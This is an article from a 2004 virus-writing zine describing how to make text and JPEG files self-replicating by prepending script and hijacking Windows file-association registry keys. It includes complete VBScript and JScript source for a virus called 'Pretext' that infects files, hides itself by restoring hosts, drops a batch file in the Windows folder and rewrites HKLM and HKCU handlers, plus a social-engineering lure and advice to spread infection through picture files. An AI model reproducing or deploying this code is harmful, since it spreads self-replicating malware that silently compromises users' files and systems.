The CodeBreakers-Journal, Vol. 1, No. 2 (2004)
http://www.CodeBreakers-Journal.com

Replication from data files

Author: Roy G. Biv

Abstract

Executable files are, obviously, directly executable. This also means that code added to these files can be executed directly. Can the same thing be done for data files? No. That is why they are called data files.

However, what can be done is to change the environment so that data files become executable files. Then code can be added to these files that can be executed directly.

Keywords: *Virus Technology; Infected Data Files; VX-Methods; Image Infection*

I. First attempt

Let us decide to infect .TXT files. We can change the environment to run .TXT files as executable binary files, by dropping an additional executable binary file and changing the registry to run this file instead. This file calls WinExec() to run the .TXT file as executable binary code. There is a serious problem with this method. The problem is that not-infected files can crash the computer when the text is run as binary code.

II. Second attempt

We must use a different type of code and a different way to run it. The code type is text, and the way to run it is as .BAT or *Script (either VBScript or JScript). If we think about .BAT, then we know immediately that .BAT is not good because it has a 64kb limit. So the answer is *Script.

If we prepend a script to .TXT files, then we can change the environment to use the Windows Scripting Host to run the script and no need for additional file. What about clean files? They are still a problem, but now the problem is different. If we try to run a clean file, then the computer will not crash, only the clean file will not be displayed anymore. Only infected files can be displayed. Also, new files cannot be created and existing files cannot be altered.

III. Third attempt

We can solve this problem by using the additional file again. The additional file can be binary or .BAT or *Script file. That file will use the Windows Scripting Host to try to run the .TXT file as a script, then to display the file as usual. All of those problems are solved. If the file is infected, then our code will clean the host so it will display correctly. If the file is clean already, then it will also display correctly. The technique can be applied to any file type with only a few changes to the code. Only one problem remains: how can we prepend a script to any other file without causing scripting errors?

IV. Final attempt

The solution to this problem is what I call ”tar-script”. :) Microsoft’s scripting engines calculate the length of a script by using strlen() function. This means that when a 0 is found, no more file is examined, so if our script ends with a 0 then we can append anything to it and no errors will happen.

Using the prepending technique is unique because even if our additional file is deleted, our code can still be run from the data files, only it requires user support. If user runs the file using WSH or renames the extension to the scripting language that we use, then we become virus again. Place comment on first line:

”This is config file. Run cscript ¡filename¿ //e:xxx to configure your system” and replace xxx with ”vbs” or ”jscript”, depending on the language. ;)

But what happens if the clean file contains a viral script? Heh, it runs.

Let’s see the code. It requires WSH v5.1+ because we must specify the engine to use. First is VBScript version.

V. Conclusions

Now let us decide to infect .JPG files instead of .TXT files. How to do that? Simply change the extension from ”txt” to ”jpg” then change the registry key from ’txtfile’ to ’jpegfile’. We must also increase the size of code by 1 byte because ’jpegfile’ is 1 byte larger than ’txtfile’. That’s all. We infect .JPG files, we replicate from .JPG files and they still display on an infected computer. Make dropper by renaming extension. After run, rename to .JPG. So now you can infect people by sending a picture file.

About the author:
Former DOS/Win16 virus writer, author of several virus families, including Ginger (see Coderz #1 zine for terrible buggy example, contact me for better sources ;), and Virus Bulletin 9/95 for a description of what they called Rainbow. Co-author of world’s first virus using circular partition trick (Orsam, coded with Prototype in 1993). Designer of world’s first XMS swapping virus (John Galt, coded by RT Fishel in 1995, only 30 bytes stub, the rest is swapped out). Author of world’s first virus using Thread Local Storage for replication (Shrug, see Virus Bulletin 6/02 for a description, but they call it Chiton), world’s first virus using Visual Basic 5/6 language extensions for replication (OU812), world’s first Native executable virus (Chthon), world’s first virus using process co-operation to prevent termination (Gemini), and world’s first virus using polymorphic SMTP headers (Junkmail). Author of various retrovirus articles (eg see Vlad #7 for the strings that make your code invisible to TBScan). Went to sleep for a number of years. This is my first virus for VBScript and JScript. They are the world’s first viruses that can convert any data files to infectable objects.

```
'Pretext - roy g biv 24/06/02
set a=createobject("scripting.filesystemobject")
b=wscript.scriptfullname                          'no dim needed for local variables
on error resume next
set c=a.opentextfile(b)                           'open host
d=c.read(996)                                     'read virus code.  996 is size of virus with no
                                                  'comments or spaces
set e=a.getfile(b)                                'get our file object
f=c.read(e.size-996)                              'read rest of host file
                                                  'if you change the size of code, then you must
                                                  'change both of these values
c=e.attributes                                    'save attributes
e.attributes=0                                    'remove any read-only attribute
set g=a.opentextfile(b,2)                         'open host for writing
if err.number=0then
  g.write f                                       'restore host. is world's first full stealth
                                                  'script virus? ;)
end if
e.attributes=c                                    'restore attributes
set c=a.getfolder(".")                            'demo version, current directory only
for each e in c.files
  if b<>e and lcase(a.getextensionname(e))="txt"then
                                                  'this can be changed to any extension
                                                  'and see below for registry key to change
    err=0
    set f=a.opentextfile(e,1)                     'open potential victim
    if err.number=0then
      g=f.read(1)                                 'read first character
      if g<>"'"then                               'check for infection marker
        h=f.readall                               'read entire file
        i=e.attributes                            'save attributes
        e.attributes=0                            'remove any read-only attribute
        err=0
        set j=a.opentextfile(e,2)                 'open file for writing
        if err.number=0then
          j.write d+g+h                           'prepend to file
          j.close                                 'close file (write mode)
        end if
        e.attributes=i                            'restore attributes
      end if
      f.close                                     'close file (read mode)
    end if
  end if
next
set b=createobject("wscript.shell")
c="HKLM"
d="\software\classes\txtfile\shell\open\command\"
e=b.regread(c+d)                                  'read current handler
f="pretext.bat"
g=f+" %1"
if e<>g then                                      'check for infected environment
  h=a.getspecialfolder(0)                         '%windir%
  if right(h,1)<>"\"then
    h=h+"\"                                       'add \ if required
  end if
  a.opentextfile(h+f,2,1).write"@cscript %1 //e:vbs //b //nologo"+vbcr+vblf+"@"+e
                                                  'create and write our additional file in %windir%
                                                  'more stealth: original handler will be used to
  b.regwrite c+d,g                                'display file alter registry to infect environment
  b.regwrite"HKCU"+d,g                            'Windows 2000/XP look in HKCU before HKLM
                                                  'so we alter that key, too
end if
```

Now is JScript version.

```
//Pretext - roy g biv 24/06/02
a=new ActiveXObject("scripting.filesystemobject")
try
{
  c=a.opentextfile(b=WScript.scriptfullname)    //open host
  d=c.read(944)                                 //read virus code.  944 is size of virus with no
                                                //comments or spaces
  e=a.getfile(b)                                //get our file object
  f=c.read(e.size-944)                          //read rest of host file
                                                //if you change the size of code, then you must
                                                //change both of these values
  c=e.attributes                                //save attributes
  e.attributes=0                                //remove any read-only attribute
  a.opentextfile(b,2).write(f)                  //open and write host
                                                //if VBS version is first full stealth script
                                                //then this is second ;)
  e.attributes=c                                //restore attributes
}
catch(z)
{
}
for(c=new Enumerator(a.getfolder(".").files);!c.atEnd();c.moveNext())
                                                //demo version, current directory only
{
  e=c.item()
  if(b!=e&&a.getextensionname(e).toLowerCase()=="txt")
                                                //this can be changed to any extension
                                                //and see below for registry key to change
    try
    {
      f=a.opentextfile(e,1)                     //open potential victim
      g=f.read(1)                               //read first character, keep for later
      if(g!="/")                                //check for infection marker
        try
        {
          h=f.readall()                         //read entire file
          i=e.attributes                        //save attributes
          e.attributes=0                        //remove any read-only attribute
          j=a.opentextfile(e,2)                 //open file for writing
          j.write(d+g+h)                        //prepend to file, append first character and host
          j.close()                             //close file (write mode)
          e.attributes=i                        //restore attributes
        }
        catch(z)
        {
        }
      f.close()                                 //close file (read mode)
    }
    catch(z)
    {
    }
}

b=new ActiveXObject("wscript.shell")
c="HKLM"
d="\\software\\classes\\txtfile\\shell\\open\\command\\"
e=b.regread(c+d)                                //read current handler
f="pretext.bat"
g=f+" %1"
```

```
if(e!=g)                                          //check for infected environment
{
  h=a.getabsolutepathname(a.getspecialfolder(0))
                                                  //%windir%
  if(h.charAt(h.length-1)!="\\")
    h+="\\"                                       //add \ if required
  a.opentextfile(h+f,2,1).write("@cscript %1 //e:jscript //b //nologo\r\n@"+e)
                                                  //create and write our additional file in %windir%
                                                  //more stealth: original handler will be used
                                                  //to display file
  b.regwrite(c+d,g)                               //alter registry to infect environment
  b.regwrite("HKCU"+d,g)                          //Windows 2000/XP look in HKCU before HKLM
                                                  //so we alter that key, too
}
<0 here>
```